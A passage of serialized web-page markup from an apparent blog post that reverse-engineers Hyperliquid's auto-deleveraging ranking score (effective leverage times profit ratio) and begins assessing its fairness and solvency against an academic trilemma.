can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":23,"tag":24,"props":159911,"children":159912},{},[159913,159915,159922],{"type":28,"value":159914},"More formally, fairness can be given multiple related definitions; see ",{"type":23,"tag":458,"props":159916,"children":159919},{"href":159917,"rel":159918},"https://arxiv.org/abs/2512.01112",[462],[159920],{"type":28,"value":159921},"this paper",{"type":28,"value":159923},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":23,"tag":24,"props":159925,"children":159926},{},[159927],{"type":28,"value":159928},"So, is Hyperliquid fair? Is it always solvent?",{"type":23,"tag":446,"props":159930,"children":159932},{"id":159931},"adl-score-computation",[159933],{"type":28,"value":159934},"ADL Score Computation",{"type":23,"tag":24,"props":159936,"children":159937},{},[159938,159940,159946,159948,159954,159956,159961],{"type":28,"value":159939},"The score function at ",{"type":23,"tag":37,"props":159941,"children":159943},{"className":159942},[],[159944],{"type":28,"value":159945},"compute_adl_ranking_score",{"type":28,"value":159947}," is core to answering this question. It's defined, most likely as an ",{"type":23,"tag":37,"props":159949,"children":159951},{"className":159950},[],[159952],{"type":28,"value":159953},"Ord",{"type":28,"value":159955}," implementation on some 20-byte address representation. A ",{"type":23,"tag":37,"props":159957,"children":159959},{"className":159958},[],[159960],{"type":28,"value":17197},{"type":28,"value":159962}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":23,"tag":24,"props":159964,"children":159965},{},[159966,159968,159973,159975,159981,159983,159990,159992,159999],{"type":28,"value":159967},"Those sort routines are ",{"type":23,"tag":2913,"props":159969,"children":159970},{},[159971],{"type":28,"value":159972},"generated by the compiler",{"type":28,"value":159974},": since Rust binaries include a lot of metadata by default in ",{"type":23,"tag":37,"props":159976,"children":159978},{"className":159977},[],[159979],{"type":28,"value":159980},".comment",{"type":28,"value":159982},", we may even manually ",{"type":23,"tag":458,"props":159984,"children":159987},{"href":159985,"rel":159986},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[462],[159988],{"type":28,"value":159989},"take advantage",{"type":28,"value":159991}," of this to recover the ",{"type":23,"tag":458,"props":159993,"children":159996},{"href":159994,"rel":159995},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[462],[159997],{"type":28,"value":159998},"exact source of library functions",{"type":28,"value":706},{"type":23,"tag":24,"props":160001,"children":160002},{},[160003,160005,160010],{"type":28,"value":160004},"Let's see how this ties back into the ",{"type":23,"tag":37,"props":160006,"children":160008},{"className":160007},[],[160009],{"type":28,"value":159089},{"type":28,"value":1474},{"type":23,"tag":158764,"props":160012,"children":160014},{"source":159089,"target":159945,"direction":159090,"path":160013},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":23,"tag":24,"props":160016,"children":160017},{},[160018],{"type":28,"value":160019},"And here's the main call site used for sorting:",{"type":23,"tag":158764,"props":160021,"children":160024},{"addr":159135,"line-start":160022,"line-end":160023},"2806","2814",[],{"type":23,"tag":446,"props":160026,"children":160028},{"id":160027},"ratio-1-effective-leverage",[160029],{"type":28,"value":160030},"Ratio 1: Effective Leverage",{"type":23,"tag":31,"props":160032,"children":160033},{},[160034],{"type":23,"tag":37,"props":160035,"children":160037},{"className":160036},[3984,158792],[160038],{"type":23,"tag":41,"props":160039,"children":160041},{"className":160040},[158797],[160042],{"type":23,"tag":41,"props":160043,"children":160045},{"className":160044},[3990],[160046],{"type":23,"tag":41,"props":160047,"children":160049},{"className":160048,"ariaHidden":3996},[3995],[160050,160081],{"type":23,"tag":41,"props":160051,"children":160053},{"className":160052},[4001],[160054,160058,160068,160072,160077],{"type":23,"tag":41,"props":160055,"children":160057},{"className":160056,"style":114820},[4006],[],{"type":23,"tag":41,"props":160059,"children":160061},{"className":160060},[4012,28],[160062],{"type":23,"tag":41,"props":160063,"children":160065},{"className":160064},[4012],[160066],{"type":28,"value":160067},"effective leverage",{"type":23,"tag":41,"props":160069,"children":160071},{"className":160070,"style":4190},[4092],[],{"type":23,"tag":41,"props":160073,"children":160075},{"className":160074},[4195],[160076],{"type":28,"value":2381},{"type":23,"tag":41,"props":160078,"children":160080},{"className":160079,"style":4190},[4092],[],{"type":23,"tag":41,"props":160082,"children":160084},{"className":160083},[4001],[160085,160090],{"type":23,"tag":41,"props":160086,"children":160089},{"className":160087,"style":160088},[4006],"height:2.113em;vertical-align:-0.686em;",[],{"type":23,"tag":41,"props":160091,"children":160093},{"className":160092},[4012],[160094,160098,160193],{"type":23,"tag":41,"props":160095,"children":160097},{"className":160096},[21703,113283],[],{"type":23,"tag":41,"props":160099,"children":160101},{"className":160100},[113288],[160102],{"type":23,"tag":41,"props":160103,"children":160105},{"className":160104},[4033,21628],[160106,160181],{"type":23,"tag":41,"props":160107,"children":160109},{"className":160108},[4038],[160110,160176],{"type":23,"tag":41,"props":160111,"children":160113},{"className":160112,"style":158870},[4043],[160114,160135,160146],{"type":23,"tag":41,"props":160115,"children":160116},{"style":158874},[160117,160121],{"type":23,"tag":41,"props":160118,"children":160120},{"className":160119,"style":111936},[4052],[],{"type":23,"tag":41,"props":160122,"children":160124},{"className":160123},[4012],[160125],{"type":23,"tag":41,"props":160126,"children":160128},{"className":160127},[4012,28],[160129],{"type":23,"tag":41,"props":160130,"children":160132},{"className":160131},[4012],[160133],{"type":28,"value":160134},"account value",{"type":23,"tag":41,"props":160136,"children":160137},{"style":113338},[160138,160142],{"type":23,"tag":41,"props":160139,"children":160141},{"className":160140,"style":111936},[4052],[],{"type":23,"tag":41,"props":160143,"children":160145},{"className":160144,"style":113348},[113347],[],{"type":23,"tag":41,"props":160147,"children":160148},{"style":158925},[160149,160153],{"type":23,"tag":41,"props":160150,"children":160152},{"className":160151,"style":111936},[4052],[],{"type":23,"tag":41,"props":160154,"children":160156},{"className":160155},[4012],[160157,160162,160171],{"type":23,"tag":41,"props":160158,"children":160160},{"className":160159},[4012],[160161],{"type":28,"value":158940},{"type":23,"tag":41,"props":160163,"children":160165},{"className":160164},[4012,28],[160166],{"type":23,"tag":41,"props":160167,"children":160169},{"className":160168},[4012],[160170],{"type":28,"value":158950},{"type":23,"tag":41,"props":160172,"children":160174},{"className":160173},[4012],[160175],{"type":28,"value":158940},{"type":23,"tag":41,"props":160177,"children":160179},{"className":160178},[21731],[160180],{"type":28,"value":21734},{"type":23,"tag":41,"props":160182,"children":160184},{"className":160183},[4038],[160185],{"type":23,"tag":41,"props":160186,"children":160189},{"className":160187,"style":160188},[4043],"height:0.686em;",[160190],{"type":23,"tag":41,"props":160191,"children":160192},{},[],{"type":23,"tag":41,"props":160194,"children":160196},{"className":160195},[21725,113283],[],{"type":23,"tag":24,"props":160198,"children":160199},{},[160200,160202,160208,160210,160216,160217,160223,160225,160231],{"type":28,"value":160201},"We can see in the decompilation below, through the SIMD noise, that ",{"type":23,"tag":37,"props":160203,"children":160205},{"className":160204},[],[160206],{"type":28,"value":160207},"abs_notional",{"type":28,"value":160209}," (unsigned), and ",{"type":23,"tag":37,"props":160211,"children":160213},{"className":160212},[],[160214],{"type":28,"value":160215},"float.d(rbx)",{"type":28,"value":5501},{"type":23,"tag":37,"props":160218,"children":160220},{"className":160219},[],[160221],{"type":28,"value":160222},"account_value",{"type":28,"value":160224}," (signed); the division is ",{"type":23,"tag":37,"props":160226,"children":160228},{"className":160227},[],[160229],{"type":28,"value":160230},"abs_notional / account_value",{"type":28,"value":706},{"type":23,"tag":24,"props":160233,"children":160234},{},[160235],{"type":28,"value":160236},"This tells us the risk multiplier that the user took on for this position.",{"type":23,"tag":158764,"props":160238,"children":160242},{"addr":160239,"line-start":160240,"line-end":160241},"0x555556abb140","278","296",[],{"type":23,"tag":446,"props":160244,"children":160246},{"id":160245},"ratio-2-profit-ratio",[160247],{"type":28,"value":160248},"Ratio 2: Profit Ratio",{"type":23,"tag":31,"props":160250,"children":160251},{},[160252],{"type":23,"tag":37,"props":160253,"children":160255},{"className":160254},[3984,158792],[160256],{"type":23,"tag":41,"props":160257,"children":160259},{"className":160258},[158797],[160260],{"type":23,"tag":41,"props":160261,"children":160263},{"className":160262},[3990],[160264],{"type":23,"tag":41,"props":160265,"children":160267},{"className":160266,"ariaHidden":3996},[3995],[160268,160299],{"type":23,"tag":41,"props":160269,"children":160271},{"className":160270},[4001],[160272,160276,160286,160290,160295],{"type":23,"tag":41,"props":160273,"children":160275},{"className":160274,"style":114820},[4006],[],{"type":23,"tag":41,"props":160277,"children":160279},{"className":160278},[4012,28],[160280],{"type":23,"tag":41,"props":160281,"children":160283},{"className":160282},[4012],[160284],{"type":28,"value":160285},"profit ratio",{"type":23,"tag":41,"props":160287,"children":160289},{"className":160288,"style":4190},[4092],[],{"type":23,"tag":41,"props":160291,"children":160293},{"className":160292},[4195],[160294],{"type":28,"value":2381},{"type":23,"tag":41,"props":160296,"children":160298},{"className":160297,"style":4190},[4092],[],{"type":23,"tag":41,"props":160300,"children":160302},{"className":160301},[4001],[160303,160307],{"type":23,"tag":41,"props":160304,"children":160306},{"className":160305,"style":158845},[4006],[],{"type":23,"tag":41,"props":160308,"children":160310},{"className":160309},[4012],[160311,160315,160434],{"type":23,"tag":41,"props":160312,"children":160314},{"className":160313},[21703,113283],[],{"type":23,"tag":41,"props":160316,"children":160318},{"className":160317},[113288],[160319],{"type":23,"tag":41,"props":160320,"children":160322},{"className":160321},[4033,21628],[160323,160423],{"type":23,"tag":41,"props":160324,"children":160326},{"className":160325},[4038],[160327,160418],{"type":23,"tag":41,"props":160328,"children":160330},{"className":160329,"style":158870},[4043],[160331,160352,160363],{"type":23,"tag":41,"props":160332,"children":160333},{"style":158874},[160334,160338],{"type":23,"tag":41,"props":160335,"children":160337},{"className":160336,"style":111936},[4052],[],{"type":23,"tag":41,"props":160339,"children":160341},{"className":160340},[4012],[160342],{"type":23,"tag":41,"props":160343,"children":160345},{"className":160344},[4012,28],[160346],{"type":23,"tag":41,"props":160347,"children":160349},{"className":160348},[4012],[160350],{"type":28,"value":160351},"entry notional",{"type":23,"tag":41,"props":160353,"children":160354},{"style":113338},[160355,160359],{"type":23,"tag":41,"props":160356,"children":160358},{"className":160357,"style":111936},[4052],[],{"type":23,"tag":41,"props":160360,"children":160362},{"className":160361,"style":113348},[113347],[],{"type":23,"tag":41,"props":160364,"children":160365},{"style":158925},[160366,160370],{"type":23,"tag":41,"props":160367,"children":160369},{"className":160368,"style":111936},[4052],[],{"type":23,"tag":41,"props":160371,"children":160373},{"className":160372},[4012],[160374,160380,160385,160395,160400,160404,160408,160413],{"type":23,"tag":41,"props":160375,"children":160377},{"className":160376},[21610],[160378],{"type":28,"value":160379},"max",{"type":23,"tag":41,"props":160381,"children":160383},{"className":160382},[21703],[160384],{"type":28,"value":1737},{"type":23,"tag":41,"props":160386,"children":160388},{"className":160387},[4012,28],[160389],{"type":23,"tag":41,"props":160390,"children":160392},{"className":160391},[4012],[160393],{"type":28,"value":160394},"pnl",{"type":23,"tag":41,"props":160396,"children":160398},{"className":160397},[4124],[160399],{"type":28,"value":4127},{"type":23,"tag":41,"props":160401,"children":160403},{"className":160402,"style":4131},[4092],[],{"type":23,"tag":41,"props":160405,"children":160407},{"className":160406,"style":4131},[4092],[],{"type":23,"tag":41,"props":160409,"children":160411},{"className":160410},[4012],[160412],{"type":28,"value":4024},{"type":23,"tag":41,"props":160414,"children":160416},{"className":160415},[21725],[160417],{"type":28,"value":2678},{"type":23,"tag":41,"props":160419,"children":160421},{"className":160420},[21731],[160422],{"type":28,"value":21734},{"type":23,"tag":41,"props":160424,"children":160426},{"className":160425},[4038],[160427],{"type":23,"tag":41,"props":160428,"children":160430},{"className":160429,"style":158968},[4043],[160431],{"type":23,"tag":41,"props":160432,"children":160433},{},[],{"type":23,"tag":41,"props":160435,"children":160437},{"className":160436},[21725,113283],[],{"type":23,"tag":24,"props":160439,"children":160440},{},[160441,160443,160449],{"type":28,"value":160442},"It uses entry notional (",{"type":23,"tag":37,"props":160444,"children":160446},{"className":160445},[],[160447],{"type":28,"value":160448},"r14_2",{"type":28,"value":160450},") as the divisor. PNL is clamped to non-negative before division.",{"type":23,"tag":24,"props":160452,"children":160453},{},[160454],{"type":28,"value":160455},"This basically tells us how well the user's bet went.",{"type":23,"tag":158764,"props":160457,"children":160461},{"addr":160458,"addr-start":160459,"addr-end":160460},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":23,"tag":24,"props":160463,"children":160464},{},[160465,160467,160473,160475,160481],{"type":28,"value":160466},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":23,"tag":37,"props":160468,"children":160470},{"className":160469},[],[160471],{"type":28,"value":160472},"1e-8",{"type":28,"value":160474},", in order not to cancel each other out. The final ADL ranking score is ",{"type":23,"tag":37,"props":160476,"children":160478},{"className":160477},[],[160479],{"type":28,"value":160480},"effective_leverage * profit_ratio",{"type":28,"value":160482},", consistent with both ratio directions and the max clamp on PNL.",{"type":23,"tag":24,"props":160484,"children":160485},{},[160486],{"type":28,"value":160487},"So, in essence, we look for risky and profitable positions!",{"type":23,"tag":546,"props":160489,"children":160491},{"id":160490},"partial-and-total-adl",[160492],{"type":28,"value":160493},"Partial and Total ADL",{"type":23,"tag":24,"props":160495,"children":160496},{},[160497],{"type":28,"value":160498},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":23,"tag":24,"props":160500,"children":160501},{},[160502],{"type":28,"value":160503},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":23,"tag":24,"props":160505,"children":160506},{},[160507,160509,160514],{"type":28,"value":160508},"So essentially, in pseudocode, the whole latter part of ",{"type":23,"tag":37,"props":160510,"children":160512},{"className":160511},[],[160513],{"type":28,"value":159089},{"type":28,"value":160515}," boils down to:",{"type":23,"tag":158764,"props":160517,"children":160520},{"addr":159135,"line-start":160518,"line-end":160519},"3252","3632",[],{"type":23,"tag":24,"props":160522,"children":160523},{},[160524],{"type":28,"value":160525},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":23,"tag":35367,"props":160527,"children":160529},{"id":160528},"branches",[160530],{"type":28,"value":160531},"Branches",{"type":23,"tag":24,"props":160533,"children":160534},{},[160535],{"type":28,"value":160536},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":23,"tag":24,"props":160538,"children":160539},{},[160540],{"type":28,"value":160541},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":23,"tag":35367,"props":160543,"children":160545},{"id":160544},"financial-conclusions",[160546],{"type":28,"value":160547},"Financial Conclusions",{"type":23,"tag":446,"props":160549,"children":160551},{"id":160550},"fairness-revenue-solvency-trilemma",[160552],{"type":28,"value":160553},"Fairness, Revenue, Solvency Trilemma",{"type":23,"tag":24,"props":160555,"children":160556},{},[160557,160559,160565],{"type":28,"value":160558},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":23,"tag":458,"props":160560,"children":160562},{"href":159917,"rel":160561},[462],[160563],{"type":28,"value":160564},"the paper mentioned before",{"type":28,"value":160566},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":23,"tag":417,"props":160568,"children":160569},{},[160570,160580,160590],{"type":23,"tag":421,"props":160571,"children":160572},{},[160573,160578],{"type":23,"tag":2913,"props":160574,"children":160575},{},[160576],{"type":28,"value":160577},"Solvency",{"type":28,"value":160579},": can the platform pay every trader out?",{"type":23,"tag":421,"props":160581,"children":160582},{},[160583,160588],{"type":23,"tag":2913,"props":160584,"children":160585},{},[160586],{"type":28,"value":160587},"Fairness",{"type":28,"value":160589},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":23,"tag":421,"props":160591,"children":160592},{},[160593,160598],{"type":23,"tag":2913,"props":160594,"children":160595},{},[160596],{"type":28,"value":160597},"Revenue",{"type":28,"value":160599},": the fraction of total winner PNL that survives after deleveraging.",{"type":23,"tag":24,"props":160601,"children":160602},{},[160603],{"type":28,"value":160604},"Let's borrow these definitions from the paper:",{"type":23,"tag":31,"props":160606,"children":160607},{},[160608],{"type":23,"tag":37,"props":160609,"children":160611},{"className":160610},[3984,158792],[160612],{"type":23,"tag":41,"props":160613,"children":160615},{"className":160614},[158797],[160616],{"type":23,"tag":41,"props":160617,"children":160619},{"className":160618},[3990],[160620],{"type":23,"tag":41,"props":160621,"children":160623},{"className":160622,"ariaHidden":3996},[3995],[160624],{"type":23,"tag":41,"props":160625,"children":160627},{"className":160626},[4001],[160628,160633],{"type":23,"tag":41,"props":160629,"children":160632},{"className":160630,"style":160631},[4006],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":23,"tag":41,"props":160634,"children":160636},{"className":160635},[4012],[160637],{"type":23,"tag":41,"props":160638,"children":160640},{"className":160639},[159494],[160641,161460],{"type":23,"tag":41,"props":160642,"children":160644},{"className":160643},[159499],[160645],{"type":23,"tag":41,"props":160646,"children":160648},{"className":160647},[4033,21628],[160649,161448],{"type":23,"tag":41,"props":160650,"children":160652},{"className":160651},[4038],[160653,161443],{"type":23,"tag":41,"props":160654,"children":160657},{"className":160655,"style":160656},[4043],"height:11.8392em;",[160658,160729,160746,160815,160885,160954,161024,161093,161162,161231,161301,161372],{"type":23,"tag":41,"props":160659,"children":160661},{"style":160660},"top:-14.3707em;",[160662,160667],{"type":23,"tag":41,"props":160663,"children":160666},{"className":160664,"style":160665},[4052],"height:3.3714em;",[],{"type":23,"tag":41,"props":160668,"children":160670},{"className":160669},[4012],[160671],{"type":23,"tag":41,"props":160672,"children":160674},{"className":160673},[4012],[160675,160680],{"type":23,"tag":41,"props":160676,"children":160678},{"className":160677,"style":21575},[4012,21574],[160679],{"type":28,"value":21578},{"type":23,"tag":41,"props":160681,"children":160683},{"className":160682},[4028],[160684],{"type":23,"tag":41,"props":160685,"children":160687},{"className":160686},[4033,21628],[160688,160718],{"type":23,"tag":41,"props":160689,"children":160691},{"className":160690},[4038],[160692,160713],{"type":23,"tag":41,"props":160693,"children":160695},{"className":160694,"style":109197},[4043],[160696],{"type":23,"tag":41,"props":160697,"children":160699},{"style":160698},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[160700,160704],{"type":23,"tag":41,"props":160701,"children":160703},{"className":160702,"style":4053},[4052],[],{"type":23,"tag":41,"props":160705,"children":160707},{"className":160706},[4058,4059,4060,4061],[160708],{"type":23,"tag":41,"props":160709,"children":160711},{"className":160710},[4012,21574,4061],[160712],{"type":28,"value":56399},{"type":23,"tag":41,"props":160714,"children":160716},{"className":160715},[21731],[160717],{"type":28,"value":21734},{"type":23,"tag":41,"props":160719,"children":160721},{"className":160720},[4038],[160722],{"type":23,"tag":41,"props":160723,"children":160725},{"className":160724,"style":92848},[4043],[160726],{"type":23,"tag":41,"props":160727,"children":160728},{},[],{"type":23,"tag":41,"props":160730,"children":160732},{"style":160731},"top:-12.8707em;",[160733,160737],{"type":23,"tag":41,"props":160734,"children":160736},{"className":160735,"style":160665},[4052],[],{"type":23,"tag":41,"props":160738,"children":160740},{"className":160739},[4012],[160741],{"type":23,"tag":41,"props":160742,"children":160744},{"className":160743,"style":94785},[4012,21574],[160745],{"type":28,"value":94819},{"type":23,"tag":41,"props":160747,"children":160749},{"style":160748},"top:-10.8392em;",[160750,160754],{"type":23,"tag":41,"props":160751,"children":160753},{"className":160752,"style":160665},[4052],[],{"type":23,"tag":41,"props":160755,"children":160757},{"className":160756},[4012],[160758],{"type":23,"tag":41,"props":160759,"children":160761},{"className":160760},[4012],[160762,160767],{"type":23,"tag":41,"props":160763,"children":160765},{"className":160764},[4012,21574],[160766],{"type":28,"value":3146},{"type":23,"tag":41,"props":160768,"children":160770},{"className":160769},[4028],[160771],{"type":23,"tag":41,"props":160772,"children":160774},{"className":160773},[4033,21628],[160775,160804],{"type":23,"tag":41,"props":160776,"children":160778},{"className":160777},[4038],[160779,160799],{"type":23,"tag":41,"props":160780,"children":160782},{"className":160781,"style":93294},[4043],[160783],{"type":23,"tag":41,"props":160784,"children":160785},{"style":92821},[160786,160790],{"type":23,"tag":41,"props":160787,"children":160789},{"className":160788,"style":4053},[4052],[],{"type":23,"tag":41,"props":160791,"children":160793},{"className":160792},[4058,4059,4060,4061],[160794],{"type":23,"tag":41,"props":160795,"children":160797},{"className":160796},[4012,21574,4061],[160798],{"type":28,"value":3737},{"type":23,"tag":41,"props":160800,"children":160802},{"className":160801},[21731],[160803],{"type":28,"value":21734},{"type":23,"tag":41,"props":160805,"children":160807},{"className":160806},[4038],[160808],{"type":23,"tag":41,"props":160809,"children":160811},{"className":160810,"style":92848},[4043],[160812],{"type":23,"tag":41,"props":160813,"children":160814},{},[],{"type":23,"tag":41,"props":160816,"children":160818},{"style":160817},"top:-8.8188em;",[160819,160823],{"type":23,"tag":41,"props":160820,"children":160822},{"className":160821,"style":160665},[4052],[],{"type":23,"tag":41,"props":160824,"children":160826},{"className":160825},[4012],[160827],{"type":23,"tag":41,"props":160828,"children":160830},{"className":160829},[4012],[160831,160837],{"type":23,"tag":41,"props":160832,"children":160834},{"className":160833,"style":93251},[4012,21574],[160835],{"type":28,"value":160836},"π",{"type":23,"tag":41,"props":160838,"children":160840},{"className":160839},[4028],[160841],{"type":23,"tag":41,"props":160842,"children":160844},{"className":160843},[4033,21628],[160845,160874],{"type":23,"tag":41,"props":160846,"children":160848},{"className":160847},[4038],[160849,160869],{"type":23,"tag":41,"props":160850,"children":160852},{"className":160851,"style":93294},[4043],[160853],{"type":23,"tag":41,"props":160854,"children":160855},{"style":93298},[160856,160860],{"type":23,"tag":41,"props":160857,"children":160859},{"className":160858,"style":4053},[4052],[],{"type":23,"tag":41,"props":160861,"children":160863},{"className":160862},[4058,4059,4060,4061],[160864],{"type":23,"tag":41,"props":160865,"children":160867},{"className":160866},[4012,21574,4061],[160868],{"type":28,"value":3737},{"type":23,"tag":41,"props":160870,"children":160872},{"className":160871},[21731],[160873],{"type":28,"value":21734},{"type":23,"tag":41,"props":160875,"children":160877},{"className":160876},[4038],[160878],{"type":23,"tag":41,"props":160879,"children":160881},{"className":160880,"style":92848},[4043],[160882],{"type":23,"tag":41,"props":160883,"children":160884},{},[],{"type":23,"tag":41,"props":160886,"children":160888},{"style":160887},"top:-7.3188em;",[160889,160893],{"type":23,"tag":41,"props":160890,"children":160892},{"className":160891,"style":160665},[4052],[],{"type":23,"tag":41,"props":160894,"children":160896},{"className":160895},[4012],[160897],{"type":23,"tag":41,"props":160898,"children":160900},{"className":160899},[4012],[160901,160906],{"type":23,"tag":41,"props":160902,"children":160904},{"className":160903},[4012,21574],[160905],{"type":28,"value":51449},{"type":23,"tag":41,"props":160907,"children":160909},{"className":160908},[4028],[160910],{"type":23,"tag":41,"props":160911,"children":160913},{"className":160912},[4033,21628],[160914,160943],{"type":23,"tag":41,"props":160915,"children":160917},{"className":160916},[4038],[160918,160938],{"type":23,"tag":41,"props":160919,"children":160921},{"className":160920,"style":93294},[4043],[160922],{"type":23,"tag":41,"props":160923,"children":160924},{"style":92821},[160925,160929],{"type":23,"tag":41,"props":160926,"children":160928},{"className":160927,"style":4053},[4052],[],{"type":23,"tag":41,"props":160930,"children":160932},{"className":160931},[4058,4059,4060,4061],[160933],{"type":23,"tag":41,"props":160934,"children":160936},{"className":160935},[4012,21574,4061],[160937],{"type":28,"value":3737},{"type":23,"tag":41,"props":160939,"children":160941},{"className":160940},[21731],[160942],{"type":28,"value":21734},{"type":23,"tag":41,"props":160944,"children":160946},{"className":160945},[4038],[160947],{"type":23,"tag":41,"props":160948,"children":160950},{"className":160949,"style":92848},[4043],[160951],{"type":23,"tag":41,"props":160952,"children":160953},{},[],{"type":23,"tag":41,"props":160955,"children":160957},{"style":160956},"top:-5.8188em;",[160958,160962],{"type":23,"tag":41,"props":160959,"children":160961},{"className":160960,"style":160665},[4052],[],{"type":23,"tag":41,"props":160963,"children":160965},{"className":160964},[4012],[160966],{"type":23,"tag":41,"props":160967,"children":160969},{"className":160968},[4012],[160970,160975],{"type":23,"tag":41,"props":160971,"children":160973},{"className":160972,"style":122045},[4012,21574],[160974],{"type":28,"value":49566},{"type":23,"tag":41,"props":160976,"children":160978},{"className":160977},[4028],[160979],{"type":23,"tag":41,"props":160980,"children":160982},{"className":160981},[4033,21628],[160983,161013],{"type":23,"tag":41,"props":160984,"children":160986},{"className":160985},[4038],[160987,161008],{"type":23,"tag":41,"props":160988,"children":160990},{"className":160989,"style":93294},[4043],[160991],{"type":23,"tag":41,"props":160992,"children":160994},{"style":160993},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[160995,160999],{"type":23,"tag":41,"props":160996,"children":160998},{"className":160997,"style":4053},[4052],[],{"type":23,"tag":41,"props":161000,"children":161002},{"className":161001},[4058,4059,4060,4061],[161003],{"type":23,"tag":41,"props":161004,"children":161006},{"className":161005},[4012,21574,4061],[161007],{"type":28,"value":3737},{"type":23,"tag":41,"props":161009,"children":161011},{"className":161010},[21731],[161012],{"type":28,"value":21734},{"type":23,"tag":41,"props":161014,"children":161016},{"className":161015},[4038],[161017],{"type":23,"tag":41,"props":161018,"children":161020},{"className":161019,"style":92848},[4043],[161021],{"type":23,"tag":41,"props":161022,"children":161023},{},[],{"type":23,"tag":41,"props":161025,"children":161027},{"style":161026},"top:-4.3188em;",[161028,161032],{"type":23,"tag":41,"props":161029,"children":161031},{"className":161030,"style":160665},[4052],[],{"type":23,"tag":41,"props":161033,"children":161035},{"className":161034},[4012],[161036],{"type":23,"tag":41,"props":161037,"children":161039},{"className":161038},[4012],[161040,161045],{"type":23,"tag":41,"props":161041,"children":161043},{"className":161042},[4012,21574],[161044],{"type":28,"value":19263},{"type":23,"tag":41,"props":161046,"children":161048},{"className":161047},[4028],[161049],{"type":23,"tag":41,"props":161050,"children":161052},{"className":161051},[4033,21628],[161053,161082],{"type":23,"tag":41,"props":161054,"children":161056},{"className":161055},[4038],[161057,161077],{"type":23,"tag":41,"props":161058,"children":161060},{"className":161059,"style":93294},[4043],[161061],{"type":23,"tag":41,"props":161062,"children":161063},{"style":92821},[161064,161068],{"type":23,"tag":41,"props":161065,"children":161067},{"className":161066,"style":4053},[4052],[],{"type":23,"tag":41,"props":161069,"children":161071},{"className":161070},[4058,4059,4060,4061],[161072],{"type":23,"tag":41,"props":161073,"children":161075},{"className":161074},[4012,21574,4061],[161076],{"type":28,"value":3737},{"type":23,"tag":41,"props":161078,"children":161080},{"className":161079},[21731],[161081],{"type":28,"value":21734},{"type":23,"tag":41,"props":161083,"children":161085},{"className":161084},[4038],[161086],{"type":23,"tag":41,"props":161087,"children":161089},{"className":161088,"style":92848},[4043],[161090],{"type":23,"tag":41,"props":161091,"children":161092},{},[],{"type":23,"tag":41,"props":161094,"children":161096},{"style":161095},"top:-2.5512em;",[161097,161101],{"type":23,"tag":41,"props":161098,"children":161100},{"className":161099,"style":160665},[4052],[],{"type":23,"tag":41,"props":161102,"children":161104},{"className":161103},[4012],[161105],{"type":23,"tag":41,"props":161106,"children":161108},{"className":161107},[4012],[161109,161114],{"type":23,"tag":41,"props":161110,"children":161112},{"className":161111},[4012,21574],[161113],{"type":28,"value":84339},{"type":23,"tag":41,"props":161115,"children":161117},{"className":161116},[4028],[161118],{"type":23,"tag":41,"props":161119,"children":161121},{"className":161120},[4033,21628],[161122,161151],{"type":23,"tag":41,"props":161123,"children":161125},{"className":161124},[4038],[161126,161146],{"type":23,"tag":41,"props":161127,"children":161129},{"className":161128,"style":93294},[4043],[161130],{"type":23,"tag":41,"props":161131,"children":161132},{"style":92821},[161133,161137],{"type":23,"tag":41,"props":161134,"children":161136},{"className":161135,"style":4053},[4052],[],{"type":23,"tag":41,"props":161138,"children":161140},{"className":161139},[4058,4059,4060,4061],[161141],{"type":23,"tag":41,"props":161142,"children":161144},{"className":161143},[4012,21574,4061],[161145],{"type":28,"value":3737},{"type":23,"tag":41,"props":161147,"children":161149},{"className":161148},[21731],[161150],{"type":28,"value":21734},{"type":23,"tag":41,"props":161152,"children":161154},{"className":161153},[4038],[161155],{"type":23,"tag":41,"props":161156,"children":161158},{"className":161157,"style":92848},[4043],[161159],{"type":23,"tag":41,"props":161160,"children":161161},{},[],{"type":23,"tag":41,"props":161163,"children":161165},{"style":161164},"top:-0.3652em;",[161166,161170],{"type":23,"tag":41,"props":161167,"children":161169},{"className":161168,"style":160665},[4052],[],{"type":23,"tag":41,"props":161171,"children":161173},{"className":161172},[4012],[161174],{"type":23,"tag":41,"props":161175,"children":161177},{"className":161176},[4012],[161178,161183],{"type":23,"tag":41,"props":161179,"children":161181},{"className":161180,"style":92999},[4012,21574],[161182],{"type":28,"value":93002},{"type":23,"tag":41,"props":161184,"children":161186},{"className":161185},[4028],[161187],{"type":23,"tag":41,"props":161188,"children":161190},{"className":161189},[4033,21628],[161191,161220],{"type":23,"tag":41,"props":161192,"children":161194},{"className":161193},[4038],[161195,161215],{"type":23,"tag":41,"props":161196,"children":161198},{"className":161197,"style":142320},[4043],[161199],{"type":23,"tag":41,"props":161200,"children":161201},{"style":110194},[161202,161206],{"type":23,"tag":41,"props":161203,"children":161205},{"className":161204,"style":4053},[4052],[],{"type":23,"tag":41,"props":161207,"children":161209},{"className":161208},[4058,4059,4060,4061],[161210],{"type":23,"tag":41,"props":161211,"children":161213},{"className":161212,"style":21575},[4012,21574,4061],[161214],{"type":28,"value":1634},{"type":23,"tag":41,"props":161216,"children":161218},{"className":161217},[21731],[161219],{"type":28,"value":21734},{"type":23,"tag":41,"props":161221,"children":161223},{"className":161222},[4038],[161224],{"type":23,"tag":41,"props":161225,"children":161227},{"className":16122